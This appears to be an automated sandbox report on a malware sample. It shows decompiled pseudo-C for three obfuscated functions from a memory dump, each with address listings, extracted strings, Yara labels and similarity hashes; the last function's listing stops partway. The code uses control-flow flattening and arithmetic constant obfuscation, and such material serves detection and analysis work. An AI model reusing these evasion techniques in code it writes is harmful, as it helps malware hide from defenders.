COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E00FA3A6C(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a28, intOrPtr _a32) {
				intOrPtr _v60;
				char _v68;
				char _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				char _t296;
				void* _t317;
				void* _t329;
				signed int _t355;
				signed int _t356;
				signed int _t357;
				signed int _t358;
				signed int _t359;
				signed int _t360;
				signed int _t361;
				intOrPtr _t363;
				signed int* _t366;

				_push(_a32);
				_push(_a28);
				_push(0);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0);
				_push(__ecx);
				_t296 = E00FA358A(0);
				_v72 = _t296;
				_t363 = _t296;
				_v112 = 0xebd107;
				_t366 =  &(( &_v188)[0xa]);
				_v112 = _v112 >> 0xa;
				_v112 = _v112 | 0xa7f575e2;
				_t329 = 0xf3b6f74;
				_v112 = _v112 ^ 0xa7f57bf6;
				_v160 = 0xb00c17;
				_v160 = _v160 + 0xffff8c1d;
				_v160 = _v160 >> 7;
				_v160 = _v160 << 0xd;
				_v160 = _v160 ^ 0x2be60020;
				_v100 = 0xaecfed;
				_t355 = 0x47;
				_v100 = _v100 * 0x5e;
				_v100 = _v100 ^ 0x4038a8f8;
				_v148 = 0x5d8832;
				_v148 = _v148 >> 0xe;
				_v148 = _v148 * 0x55;
				_v148 = _v148 ^ 0xfb138f4a;
				_v148 = _v148 ^ 0xfb1acafa;
				_v156 = 0xd0ad54;
				_v156 = _v156 | 0xf197358a;
				_v156 = _v156 >> 9;
				_v156 = _v156 ^ 0xe046c41b;
				_v156 = _v156 ^ 0xe0312259;
				_v128 = 0xba314b;
				_v128 = _v128 << 4;
				_v128 = _v128 ^ 0xa41671cd;
				_v128 = _v128 ^ 0xafbf0bed;
				_v144 = 0x19b960;
				_v144 = _v144 + 0xc84d;
				_v144 = _v144 << 2;
				_v144 = _v144 + 0x9efb;
				_v144 = _v144 ^ 0x006c13e0;
				_v184 = 0x1825f1;
				_v184 = _v184 >> 4;
				_v184 = _v184 + 0x9f55;
				_v184 = _v184 >> 0xf;
				_v184 = _v184 ^ 0x000ab8e0;
				_v80 = 0x3761db;
				_v80 = _v80 << 1;
				_v80 = _v80 ^ 0x0067643f;
				_v176 = 0x30c4c1;
				_v176 = _v176 | 0xedf1185f;
				_v176 = _v176 / _t355;
				_v176 = _v176 >> 0xb;
				_v176 = _v176 ^ 0x000311fd;
				_v120 = 0x3675af;
				_v120 = _v120 + 0xffff5842;
				_t356 = 0x68;
				_v120 = _v120 / _t356;
				_v120 = _v120 ^ 0x0001d04e;
				_v96 = 0x8764a2;
				_v96 = _v96 + 0x91f3;
				_v96 = _v96 ^ 0x008667d4;
				_v116 = 0xa8f347;
				_v116 = _v116 + 0xffff0773;
				_v116 = _v116 | 0x401fbbca;
				_v116 = _v116 ^ 0x40b7909a;
				_v124 = 0x8d3db0;
				_v124 = _v124 + 0xffffcdbe;
				_v124 = _v124 >> 4;
				_v124 = _v124 ^ 0x0003406e;
				_v180 = 0x115e15;
				_v180 = _v180 | 0x396b9ab3;
				_t357 = 0x7f;
				_v180 = _v180 * 0x32;
				_v180 = _v180 * 0x7f;
				_v180 = _v180 ^ 0xde8ec418;
				_v188 = 0x68220f;
				_v188 = _v188 + 0xffff13e1;
				_v188 = _v188 | 0x0b5e43f9;
				_v188 = _v188 ^ 0x0308cb28;
				_v188 = _v188 ^ 0x087cea89;
				_v88 = 0xb4154e;
				_v88 = _v88 << 1;
				_v88 = _v88 ^ 0x01626326;
				_v136 = 0x855f19;
				_v136 = _v136 + 0xb245;
				_v136 = _v136 * 0x51;
				_v136 = _v136 / _t357;
				_v136 = _v136 ^ 0x0059d3c9;
				_v168 = 0x44e15b;
				_t158 =  &_v168; // 0x44e15b
				_t358 = 0x4f;
				_v168 =  *_t158 / _t358;
				_v168 = _v168 + 0xffff2550;
				_v168 = _v168 + 0x2e54;
				_v168 = _v168 ^ 0x0007a068;
				_v104 = 0xc4e2f2;
				_v104 = _v104 << 0xc;
				_v104 = _v104 ^ 0x4e2d0c56;
				_v152 = 0x191f59;
				_t359 = 0x18;
				_v152 = _v152 / _t359;
				_t360 = 0x4b;
				_v152 = _v152 * 0x66;
				_v152 = _v152 | 0x67a82f25;
				_v152 = _v152 ^ 0x67e7edf1;
				_v76 = 0x773f82;
				_v76 = _v76 << 3;
				_v76 = _v76 ^ 0x03bd8775;
				_v164 = 0xdfa2a4;
				_v164 = _v164 << 0x10;
				_v164 = _v164 / _t360;
				_v164 = _v164 ^ 0xe1f644dd;
				_v164 = _v164 ^ 0xe3d7bab6;
				_v172 = 0x806f2b;
				_v172 = _v172 | 0x09d9a691;
				_v172 = _v172 << 3;
				_v172 = _v172 + 0xd5b;
				_v172 = _v172 ^ 0x4ec1b9af;
				_v108 = 0x65c2b2;
				_v108 = _v108 + 0x56cb;
				_v108 = _v108 | 0x6643a08f;
				_v108 = _v108 ^ 0x666fbd3b;
				_v84 = 0x79d442;
				_v84 = _v84 | 0xf9b6c9c5;
				_v84 = _v84 ^ 0xf9f007ba;
				_v132 = 0xf7cc86;
				_v132 = _v132 ^ 0x895b3781;
				_v132 = _v132 >> 8;
				_v132 = _v132 << 1;
				_v132 = _v132 ^ 0x011abe6f;
				_v92 = 0x6d7b91;
				_v92 = _v92 >> 0xe;
				_v92 = _v92 ^ 0x000bbde8;
				_v140 = 0x9696da;
				_t361 = 5;
				_v140 = _v140 / _t361;
				_v140 = _v140 << 0xd;
				_v140 = _v140 + 0xffffb5e2;
				_v140 = _v140 ^ 0xc3cb1fba;
				do {
					while(_t329 != 0x1a8bd1c) {
						if(_t329 == 0x3a6dea5) {
							E00FB365D(_v128,  &_v68, _v144, 0x44, _v184, _v80);
							_push(_v96);
							_v68 = 0x44;
							_push(_v120);
							_v60 = E00FBCD35(0xfa1908, _v176, __eflags);
							_t363 = E00FBB233(0xfa1908, _v116, 0xfa1908,  &_v68, 0xfa1908, _v124, _v180, _a16, _v188, _v160 | _v112, _v72, _a4, _v88, _a20, 0xfa1908, _v136, _v168, _v104, 0, _v152);
							E00FB629F(_v76, _v60, _v164, _v172, _v108);
							_t366 =  &(_t366[0x1b]);
							_t329 = 0xef6864e;
							continue;
						} else {
							if(_t329 == 0xef6864e) {
								E00FA96D0(_v84, _v132, _v72, _v92, _v140);
							} else {
								if(_t329 != 0xf3b6f74) {
									goto L10;
								} else {
									_t329 = 0x1a8bd1c;
									continue;
								}
							}
						}
						L13:
						return _t363;
					}
					_push(_t329);
					_t317 = E00FC1AF1(_a16,  &_v72, _v100, _v148, _v156);
					_t366 =  &(_t366[4]);
					__eflags = _t317;
					if(_t317 == 0) {
						_t329 = 0xcc77c98;
						goto L10;
					} else {
						_t329 = 0x3a6dea5;
						continue;
					}
					goto L13;
					L10:
					__eflags = _t329 - 0xcc77c98;
				} while (_t329 != 0xcc77c98);
				goto L13;
			}

0x00fa3a76
0x00fa3a7f
0x00fa3a86
0x00fa3a87
0x00fa3a8e
0x00fa3a95
0x00fa3a9c
0x00fa3aa3
0x00fa3aaa
0x00fa3aab
0x00fa3aac
0x00fa3ab1
0x00fa3ab8
0x00fa3aba
0x00fa3ac5
0x00fa3ac8
0x00fa3acf
0x00fa3ad7
0x00fa3adc
0x00fa3ae4
0x00fa3aec
0x00fa3af4
0x00fa3af9
0x00fa3afe
0x00fa3b06
0x00fa3b15
0x00fa3b18
0x00fa3b1c
0x00fa3b24
0x00fa3b2c
0x00fa3b36
0x00fa3b3a
0x00fa3b42
0x00fa3b4a
0x00fa3b52
0x00fa3b5a
0x00fa3b5f
0x00fa3b67
0x00fa3b6f
0x00fa3b77
0x00fa3b7c
0x00fa3b84
0x00fa3b8c
0x00fa3b94
0x00fa3b9c
0x00fa3ba1
0x00fa3ba9
0x00fa3bb1
0x00fa3bb9
0x00fa3bbe
0x00fa3bc6
0x00fa3bcb
0x00fa3bd3
0x00fa3bde
0x00fa3be5
0x00fa3bf0
0x00fa3bf8
0x00fa3c08
0x00fa3c0c
0x00fa3c11
0x00fa3c19
0x00fa3c21
0x00fa3c2d
0x00fa3c30
0x00fa3c34
0x00fa3c3c
0x00fa3c44
0x00fa3c4e
0x00fa3c56
0x00fa3c5e
0x00fa3c66
0x00fa3c6e
0x00fa3c76
0x00fa3c7e
0x00fa3c86
0x00fa3c8b
0x00fa3c93
0x00fa3c9b
0x00fa3caa
0x00fa3cad
0x00fa3cb6
0x00fa3cba
0x00fa3cc2
0x00fa3cca
0x00fa3cd2
0x00fa3cda
0x00fa3ce2
0x00fa3cea
0x00fa3cf2
0x00fa3cf6
0x00fa3cfe
0x00fa3d06
0x00fa3d13
0x00fa3d1f
0x00fa3d23
0x00fa3d2b
0x00fa3d33
0x00fa3d37
0x00fa3d3c
0x00fa3d42
0x00fa3d4a
0x00fa3d52
0x00fa3d5a
0x00fa3d62
0x00fa3d67
0x00fa3d6f
0x00fa3d7b
0x00fa3d80
0x00fa3d8b
0x00fa3d8c
0x00fa3d90
0x00fa3d98
0x00fa3da0
0x00fa3dab
0x00fa3db3
0x00fa3dbe
0x00fa3dc6
0x00fa3dd1
0x00fa3dd5
0x00fa3ddd
0x00fa3de5
0x00fa3ded
0x00fa3df5
0x00fa3dfa
0x00fa3e02
0x00fa3e0a
0x00fa3e12
0x00fa3e1a
0x00fa3e22
0x00fa3e2c
0x00fa3e39
0x00fa3e46
0x00fa3e4e
0x00fa3e56
0x00fa3e5e
0x00fa3e63
0x00fa3e67
0x00fa3e6f
0x00fa3e77
0x00fa3e7c
0x00fa3e84
0x00fa3e92
0x00fa3e9a
0x00fa3e9e
0x00fa3ea3
0x00fa3eab
0x00fa3eb3
0x00fa3eb3
0x00fa3ebd
0x00fa3ef4
0x00fa3ef9
0x00fa3f02
0x00fa3f0d
0x00fa3f1d
0x00fa3f92
0x00fa3faa
0x00fa3faf
0x00fa3fb2
0x00000000
0x00fa3ebf
0x00fa3ec5
0x00fa4010
0x00fa3ecb
0x00fa3ed1
0x00000000
0x00fa3ed7
0x00fa3ed7
0x00000000
0x00fa3ed7
0x00fa3ed1
0x00fa3ec5
0x00fa4019
0x00fa4024
0x00fa4024
0x00fa3fbc
0x00fa3fd7
0x00fa3fdc
0x00fa3fdf
0x00fa3fe1
0x00fa3fea
0x00000000
0x00fa3fe3
0x00fa3fe3
0x00000000
0x00fa3fe3
0x00000000
0x00fa3fec
0x00fa3fec
0x00fa3fec
0x00000000

Strings

, xrefs: 00FA3AFE
?dg, xrefs: 00FA3BE5
D, xrefs: 00FA3F02
[D, xrefs: 00FA3D33
[, xrefs: 00FA3DFA
Y"1, xrefs: 00FA3B67

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: $?dg$D$Y"1$[$[D
API String ID: 0-1233106220
Opcode ID: 79cb8ca7e65ca3de81fb3f340bc8a9a9d6e979c45e5cb4edcc8eb266a23459e3
Instruction ID: c53f1e7e1edcddbbc118dd640d05feccb715d84fd594c674ad5088e90f749b3a
Opcode Fuzzy Hash: 79cb8ca7e65ca3de81fb3f340bc8a9a9d6e979c45e5cb4edcc8eb266a23459e3
Instruction Fuzzy Hash: 83D110B15083809FD364CF25C88AA5FFBE1FBC5358F108A1DF29A96220D7B58949DF42

Uniqueness

Uniqueness Score: -1.00%

Function 00FA19C0, Relevance: 7.8, Strings: 6, Instructions: 254
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E00FA19C0() {
				char _v520;
				char _v1040;
				signed int _v1044;
				signed int _v1048;
				signed int _v1052;
				signed int _v1056;
				signed int _v1060;
				signed int _v1064;
				signed int _v1068;
				signed int _v1072;
				signed int _v1076;
				signed int _v1080;
				signed int _v1084;
				signed int _v1088;
				signed int _v1092;
				signed int _v1096;
				signed int _v1100;
				signed int _v1104;
				signed int _v1108;
				signed int _v1112;
				signed int _v1116;
				signed int _v1120;
				signed int _v1124;
				signed int _v1128;
				signed int _v1132;
				signed int _v1136;
				signed int _v1140;
				signed int _v1144;
				signed int _v1148;
				signed int _v1152;
				signed int _v1156;
				void* _t281;
				void* _t285;
				void* _t286;
				signed int _t291;
				signed int _t292;
				signed int _t293;
				signed int _t294;
				signed int _t295;
				void* _t301;
				void* _t331;
				signed int* _t335;

				_t335 =  &_v1156;
				_v1072 = 0x90f291;
				_v1072 = _v1072 + 0xd9fe;
				_v1072 = _v1072 ^ 0x0099b4b4;
				_v1080 = 0x97e872;
				_t291 = 0xd;
				_v1080 = _v1080 / _t291;
				_t331 = 0x6e7fa89;
				_t292 = 0x2b;
				_v1080 = _v1080 / _t292;
				_v1080 = _v1080 ^ 0x0000ab52;
				_v1128 = 0xce1f68;
				_v1128 = _v1128 ^ 0x1d391405;
				_t293 = 0x23;
				_v1128 = _v1128 / _t293;
				_v1128 = _v1128 ^ 0x00d7510b;
				_v1156 = 0x1ab415;
				_v1156 = _v1156 * 0x7d;
				_v1156 = _v1156 ^ 0x5ac1e7a5;
				_v1156 = _v1156 >> 7;
				_v1156 = _v1156 ^ 0x00a59218;
				_v1096 = 0xd4cefb;
				_v1096 = _v1096 << 6;
				_v1096 = _v1096 + 0xb17e;
				_v1096 = _v1096 ^ 0x3539ed7d;
				_v1092 = 0x25099f;
				_v1092 = _v1092 + 0xffff830d;
				_v1092 = _v1092 + 0xffff7459;
				_v1092 = _v1092 ^ 0x00248bbe;
				_v1100 = 0xa97928;
				_v1100 = _v1100 | 0xad4f66fb;
				_v1100 = _v1100 >> 7;
				_v1100 = _v1100 ^ 0x01589fbb;
				_v1060 = 0x56da0;
				_v1060 = _v1060 ^ 0xd62a4695;
				_v1060 = _v1060 ^ 0xd62d8a06;
				_v1108 = 0xa4046e;
				_v1108 = _v1108 * 0x35;
				_v1108 = _v1108 + 0xb815;
				_v1108 = _v1108 ^ 0x21f6cf78;
				_v1068 = 0xb1871f;
				_v1068 = _v1068 | 0x2d1b9d36;
				_v1068 = _v1068 ^ 0x2db0c7b1;
				_v1052 = 0x4ec5bc;
				_v1052 = _v1052 + 0x7f92;
				_v1052 = _v1052 ^ 0x0040cfb8;
				_v1148 = 0xaf3f79;
				_v1148 = _v1148 << 0xf;
				_v1148 = _v1148 + 0xffffd8d9;
				_v1148 = _v1148 + 0x7b5b;
				_v1148 = _v1148 ^ 0x9fb9a37f;
				_v1116 = 0xe95276;
				_v1116 = _v1116 + 0xd080;
				_v1116 = _v1116 * 0x50;
				_v1116 = _v1116 ^ 0x492e6145;
				_v1124 = 0x862a30;
				_v1124 = _v1124 | 0x5dbcc624;
				_v1124 = _v1124 + 0xed19;
				_v1124 = _v1124 ^ 0x5db03a19;
				_v1084 = 0x2c0a28;
				_v1084 = _v1084 * 0x1a;
				_v1084 = _v1084 * 7;
				_v1084 = _v1084 ^ 0x1f493afd;
				_v1064 = 0xaaa7e2;
				_v1064 = _v1064 + 0xffff0f89;
				_v1064 = _v1064 ^ 0x00a294dc;
				_v1120 = 0x632f45;
				_t294 = 0x52;
				_v1120 = _v1120 * 0x72;
				_v1120 = _v1120 << 3;
				_v1120 = _v1120 ^ 0x6152e548;
				_v1136 = 0xedff35;
				_v1136 = _v1136 ^ 0xd8e369fe;
				_v1136 = _v1136 + 0xffffa94a;
				_v1136 = _v1136 + 0x84ff;
				_v1136 = _v1136 ^ 0xd8047fe1;
				_v1152 = 0x224056;
				_v1152 = _v1152 << 7;
				_v1152 = _v1152 * 0x7f;
				_v1152 = _v1152 << 0xa;
				_v1152 = _v1152 ^ 0xd55c63cf;
				_v1048 = 0x53c998;
				_v1048 = _v1048 | 0x852243cb;
				_v1048 = _v1048 ^ 0x85793c7e;
				_v1104 = 0xb4b0a8;
				_v1104 = _v1104 + 0x7646;
				_v1104 = _v1104 ^ 0x00b0d585;
				_v1076 = 0x89172f;
				_v1076 = _v1076 ^ 0x087c2659;
				_v1076 = _v1076 + 0xffff86e0;
				_v1076 = _v1076 ^ 0x08f30a69;
				_v1112 = 0xe122a0;
				_v1112 = _v1112 * 0x26;
				_v1112 = _v1112 * 0x67;
				_v1112 = _v1112 ^ 0x721af173;
				_v1144 = 0xa059a2;
				_v1144 = _v1144 << 1;
				_v1144 = _v1144 + 0xffffebb7;
				_v1144 = _v1144 / _t294;
				_v1144 = _v1144 ^ 0x0002b34c;
				_v1088 = 0xbb0571;
				_t295 = 0x4d;
				_v1088 = _v1088 * 0x49;
				_v1088 = _v1088 / _t295;
				_v1088 = _v1088 ^ 0x00bdf199;
				_v1044 = 0x8a3abf;
				_v1044 = _v1044 << 0xd;
				_v1044 = _v1044 ^ 0x4757da71;
				_v1056 = 0x8c4fd5;
				_v1056 = _v1056 >> 5;
				_v1056 = _v1056 ^ 0x0009ecbd;
				_v1132 = 0x995135;
				_v1132 = _v1132 | 0x5c2c20ca;
				_v1132 = _v1132 + 0xffff0092;
				_v1132 = _v1132 << 5;
				_v1132 = _v1132 ^ 0x978e8efb;
				_v1140 = 0x66804f;
				_v1140 = _v1140 << 0xa;
				_v1140 = _v1140 >> 0xb;
				_v1140 = _v1140 ^ 0x06a45735;
				_v1140 = _v1140 ^ 0x06b64b82;
				L00FC2F8B();
				do {
					while(_t331 != 0x13a9155) {
						if(_t331 == 0x62cfa7d) {
							_push(_v1096);
							_push(_v1156);
							_t281 = E00FBCD35(0xfa1000, _v1128, __eflags);
							_pop(_t301);
							E00FB2EA5( *0xfc5218 + 0x234, __eflags,  *0xfc5218 + 0x18, _t301, _v1100, _v1060, _t281, _v1108, _v1068,  &_v1040);
							_t285 = E00FB629F(_v1052, _t281, _v1148, _v1116, _v1124);
							_t335 =  &(_t335[0xb]);
							_t331 = 0x78ce451;
							continue;
						} else {
							if(_t331 == 0x6e7fa89) {
								_t331 = 0x62cfa7d;
								continue;
							} else {
								_t340 = _t331 - 0x78ce451;
								if(_t331 == 0x78ce451) {
									_push(_v1120);
									_push(_v1064);
									_t286 = E00FBCD35(0xfa1050, _v1084, _t340);
									E00FBDD54(_t340,  &_v520, _v1104, _t286, E00FBED56(_v1136),  *0xfc5218 + 0x234, _v1076,  *0xfc5218 + 0x18, _v1112);
									_t285 = E00FB629F(_v1144, _t286, _v1088, _v1044, _v1056);
									_t335 =  &(_t335[0xd]);
									_t331 = 0x13a9155;
									continue;
								}
							}
						}
						goto L9;
					}
					_push(_v1140);
					_push( &_v1040);
					E00FB9124(_v1132,  &_v520, __eflags);
					_t331 = 0x2227053;
					L9:
					__eflags = _t331 - 0x2227053;
				} while (__eflags != 0);
				return _t285;
			}

0x00fa19c0
0x00fa19c6
0x00fa19d0
0x00fa19d8
0x00fa19e0
0x00fa19f2
0x00fa19f7
0x00fa1a01
0x00fa1a06
0x00fa1a0b
0x00fa1a11
0x00fa1a19
0x00fa1a21
0x00fa1a2d
0x00fa1a30
0x00fa1a34
0x00fa1a3c
0x00fa1a49
0x00fa1a4d
0x00fa1a55
0x00fa1a5a
0x00fa1a62
0x00fa1a6a
0x00fa1a6f
0x00fa1a77
0x00fa1a7f
0x00fa1a87
0x00fa1a8f
0x00fa1a97
0x00fa1a9f
0x00fa1aa7
0x00fa1aaf
0x00fa1ab4
0x00fa1abc
0x00fa1ac4
0x00fa1acc
0x00fa1ad4
0x00fa1ae1
0x00fa1ae5
0x00fa1aed
0x00fa1af5
0x00fa1afd
0x00fa1b05
0x00fa1b0d
0x00fa1b15
0x00fa1b1d
0x00fa1b25
0x00fa1b2d
0x00fa1b32
0x00fa1b3a
0x00fa1b42
0x00fa1b4a
0x00fa1b52
0x00fa1b5f
0x00fa1b63
0x00fa1b6b
0x00fa1b73
0x00fa1b7b
0x00fa1b83
0x00fa1b8b
0x00fa1b98
0x00fa1ba1
0x00fa1ba7
0x00fa1baf
0x00fa1bb7
0x00fa1bbf
0x00fa1bc7
0x00fa1bd6
0x00fa1bd9
0x00fa1bdd
0x00fa1be2
0x00fa1bea
0x00fa1bf2
0x00fa1bfa
0x00fa1c02
0x00fa1c0a
0x00fa1c12
0x00fa1c1a
0x00fa1c24
0x00fa1c28
0x00fa1c2d
0x00fa1c35
0x00fa1c40
0x00fa1c4b
0x00fa1c56
0x00fa1c66
0x00fa1c6e
0x00fa1c76
0x00fa1c7e
0x00fa1c86
0x00fa1c8e
0x00fa1c96
0x00fa1ca3
0x00fa1cac
0x00fa1cb0
0x00fa1cb8
0x00fa1cc0
0x00fa1cc4
0x00fa1cd4
0x00fa1cd8
0x00fa1ce0
0x00fa1ced
0x00fa1cee
0x00fa1cf8
0x00fa1cfc
0x00fa1d04
0x00fa1d0f
0x00fa1d17
0x00fa1d22
0x00fa1d2a
0x00fa1d2f
0x00fa1d37
0x00fa1d3f
0x00fa1d47
0x00fa1d4f
0x00fa1d54
0x00fa1d5c
0x00fa1d64
0x00fa1d69
0x00fa1d6e
0x00fa1d76
0x00fa1d86
0x00fa1d9a
0x00fa1d9a
0x00fa1da8
0x00fa1e54
0x00fa1e5d
0x00fa1e65
0x00fa1e6b
0x00fa1e9f
0x00fa1eb9
0x00fa1ebe
0x00fa1ec1
0x00000000
0x00fa1dae
0x00fa1db4
0x00fa1e4d
0x00000000
0x00fa1dba
0x00fa1dba
0x00fa1dbc
0x00fa1dc2
0x00fa1dcb
0x00fa1dd3
0x00fa1e1b
0x00fa1e3b
0x00fa1e40
0x00fa1e43
0x00000000
0x00fa1e43
0x00fa1dbc
0x00fa1db4
0x00000000
0x00fa1da8
0x00fa1ec8
0x00fa1ed7
0x00fa1edf
0x00fa1ee6
0x00fa1ee8
0x00fa1ee8
0x00fa1ee8
0x00fa1efa

Strings

HRa, xrefs: 00FA1BE2
E/c, xrefs: 00FA1BC7
Fv, xrefs: 00FA1C66
}95, xrefs: 00FA1A77
V@", xrefs: 00FA1C12
(,, xrefs: 00FA1B8B

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: (,$E/c$Fv$HRa$V@"$}95
API String ID: 0-2341880589
Opcode ID: af998880023668cff949efc0301c989f269556dcc070c600e2f3552c30aa6878
Instruction ID: 5f00d698bd5617526f0e55b69e59f129f47d5c9a7b6ea9fcf18efbad3cdf6439
Opcode Fuzzy Hash: af998880023668cff949efc0301c989f269556dcc070c600e2f3552c30aa6878
Instruction Fuzzy Hash: B7D110B24083819FC368CF64C48AA4BFBF1FBC5398F204A1DF69596260D7B59949CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00FA92C1, Relevance: 7.7, Strings: 6, Instructions: 227
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00FA92C1() {
				char _v520;
				char _v1040;
				signed int _v1044;
				signed int _v1048;
				signed int _v1052;
				signed int _v1056;
				signed int _v1060;
				signed int _v1064;
				signed int _v1068;
				signed int _v1072;
				signed int _v1076;
				signed int _v1080;
				signed int _v1084;
				signed int _v1088;
				signed int _v1092;
				signed int _v1096;
				signed int _v1100;
				signed int _v1104;
				signed int _v1108;
				signed int _v1112;
				signed int _v1116;
				signed int _v1120;
				void* _t238;
				void* _t247;
				void* _t253;
				void* _t288;
				signed int _t289;
				signed int _t290;
				signed int _t291;
				signed int _t292;
				signed int _t293;
				signed int _t294;
				signed int _t295;
				signed int _t296;
				signed int _t297;
				signed int _t298;
				signed int* _t301;

				_t301 =  &_v1120;
				_v1064 = 0x518e17;
				_v1064 = _v1064 >> 5;
				_t247 = 0xfe82576;
				_v1064 = _v1064 + 0xffff3a42;
				_v1064 = _v1064 ^ 0x00091886;
				_v1072 = 0x5ffe87;
				_v1072 = _v1072 | 0xff757ff6;
				_v1072 = _v1072 ^ 0xff797d4f;
				_v1104 = 0xf40f5c;
				_t289 = 0x74;
				_v1104 = _v1104 / _t289;
				_v1104 = _v1104 + 0xffffa24c;
				_t288 = 0;
				_v1104 = _v1104 + 0xffffa4df;
				_v1104 = _v1104 ^ 0x00015c23;
				_v1080 = 0x353c56;
				_t290 = 0x53;
				_v1080 = _v1080 / _t290;
				_v1080 = _v1080 + 0xffff91e6;
				_v1080 = _v1080 ^ 0x0006ede9;
				_v1060 = 0xdab2d6;
				_v1060 = _v1060 | 0x2ba98b4c;
				_v1060 = _v1060 ^ 0x2bfc5ebc;
				_v1100 = 0xa97148;
				_v1100 = _v1100 + 0xffff10c1;
				_v1100 = _v1100 | 0xcccd28f5;
				_t291 = 0xa;
				_v1100 = _v1100 / _t291;
				_v1100 = _v1100 ^ 0x147e298f;
				_v1116 = 0x32183d;
				_v1116 = _v1116 + 0xffff5d9e;
				_v1116 = _v1116 + 0x393a;
				_v1116 = _v1116 + 0x6fd9;
				_v1116 = _v1116 ^ 0x003751c4;
				_v1056 = 0xe60934;
				_t65 =  &_v1056; // 0xe60934
				_t292 = 0x63;
				_v1056 =  *_t65 / _t292;
				_v1056 = _v1056 ^ 0x000b4c23;
				_v1092 = 0x4f8c2b;
				_t293 = 0x25;
				_v1092 = _v1092 * 0x68;
				_v1092 = _v1092 + 0xa422;
				_v1092 = _v1092 * 0x39;
				_v1092 = _v1092 ^ 0x322fde2d;
				_v1048 = 0x3686c2;
				_v1048 = _v1048 + 0xdee8;
				_v1048 = _v1048 ^ 0x0036f3ee;
				_v1108 = 0xc4b6cd;
				_v1108 = _v1108 / _t293;
				_v1108 = _v1108 + 0x42f6;
				_v1108 = _v1108 + 0xffff72e8;
				_v1108 = _v1108 ^ 0x000a51ca;
				_v1044 = 0x14dca0;
				_t294 = 0xb;
				_v1044 = _v1044 / _t294;
				_v1044 = _v1044 ^ 0x00096e7d;
				_v1112 = 0x4f0e8;
				_v1112 = _v1112 + 0xffff8e5b;
				_v1112 = _v1112 << 0xc;
				_v1112 = _v1112 ^ 0xf999ab7b;
				_v1112 = _v1112 ^ 0xbe6a739c;
				_v1052 = 0x4c4d6a;
				_v1052 = _v1052 + 0xffff9d04;
				_v1052 = _v1052 ^ 0x004d68c9;
				_v1120 = 0xf5c85b;
				_v1120 = _v1120 << 0xc;
				_t295 = 0x5e;
				_v1120 = _v1120 / _t295;
				_v1120 = _v1120 | 0x1f7d0baf;
				_v1120 = _v1120 ^ 0x1ff3417c;
				_v1068 = 0x3dcd4a;
				_v1068 = _v1068 >> 5;
				_t296 = 0x24;
				_v1068 = _v1068 / _t296;
				_v1068 = _v1068 ^ 0x000ba0b2;
				_v1084 = 0x1e3fce;
				_v1084 = _v1084 + 0xffffbb5b;
				_t297 = 0x16;
				_v1084 = _v1084 / _t297;
				_v1084 = _v1084 ^ 0x00043461;
				_v1076 = 0xd55812;
				_v1076 = _v1076 + 0x80f2;
				_v1076 = _v1076 + 0xffff0f65;
				_v1076 = _v1076 ^ 0x00d50e7f;
				_v1088 = 0x61c2c6;
				_v1088 = _v1088 + 0xffffc5ff;
				_v1088 = _v1088 | 0x0e0f1766;
				_v1088 = _v1088 + 0xffff14c8;
				_v1088 = _v1088 ^ 0x0e6b43a2;
				_v1096 = 0x764478;
				_v1096 = _v1096 + 0xffff2435;
				_t298 = 0x55;
				_v1096 = _v1096 / _t298;
				_v1096 = _v1096 + 0xffff44bd;
				_v1096 = _v1096 ^ 0x0007ba65;
				do {
					while(_t247 != 0x15230fa) {
						if(_t247 == 0xad96eeb) {
							E00FB855C( &_v520, _v1064, __eflags, _v1072, _v1104, _t247, _v1080);
							_t301 =  &(_t301[4]);
							_t247 = 0xbd6821c;
							continue;
						} else {
							if(_t247 == 0xbd6821c) {
								_push(_v1116);
								_push(_v1100);
								_t238 = E00FBCD35(0xfa1000, _v1060, __eflags);
								_pop(_t253);
								E00FB2EA5( *0xfc5218 + 0x234, __eflags,  *0xfc5218 + 0x18, _t253, _v1092, _v1048, _t238, _v1108, _v1044,  &_v1040);
								E00FB629F(_v1112, _t238, _v1052, _v1120, _v1068);
								_t301 =  &(_t301[0xb]);
								_t247 = 0xcfa61c2;
								continue;
							} else {
								if(_t247 == 0xcfa61c2) {
									_push(_v1076);
									_push( &_v520);
									__eflags = E00FB9124(_v1084,  &_v1040, __eflags);
									_t288 =  !=  ? 1 : _t288;
									_t247 = 0x15230fa;
									continue;
								} else {
									if(_t247 == 0xfe82576) {
										_t247 = 0xad96eeb;
										continue;
									}
								}
							}
						}
						goto L11;
					}
					E00FBDB87(_v1088, _v1096,  &_v1040);
					_t247 = 0xfc68290;
					L11:
					__eflags = _t247 - 0xfc68290;
				} while (__eflags != 0);
				return _t288;
			}

0x00fa92c1
0x00fa92c7
0x00fa92d1
0x00fa92d6
0x00fa92db
0x00fa92e3
0x00fa92eb
0x00fa92f3
0x00fa92fb
0x00fa9303
0x00fa9315
0x00fa931a
0x00fa9320
0x00fa9328
0x00fa932a
0x00fa9332
0x00fa933a
0x00fa9346
0x00fa934b
0x00fa9351
0x00fa9359
0x00fa9361
0x00fa9369
0x00fa9371
0x00fa9379
0x00fa9381
0x00fa9389
0x00fa9395
0x00fa939a
0x00fa93a0
0x00fa93a8
0x00fa93b0
0x00fa93b8
0x00fa93c0
0x00fa93c8
0x00fa93d0
0x00fa93d8
0x00fa93dc
0x00fa93e1
0x00fa93e7
0x00fa93ef
0x00fa93fc
0x00fa93fd
0x00fa9401
0x00fa940e
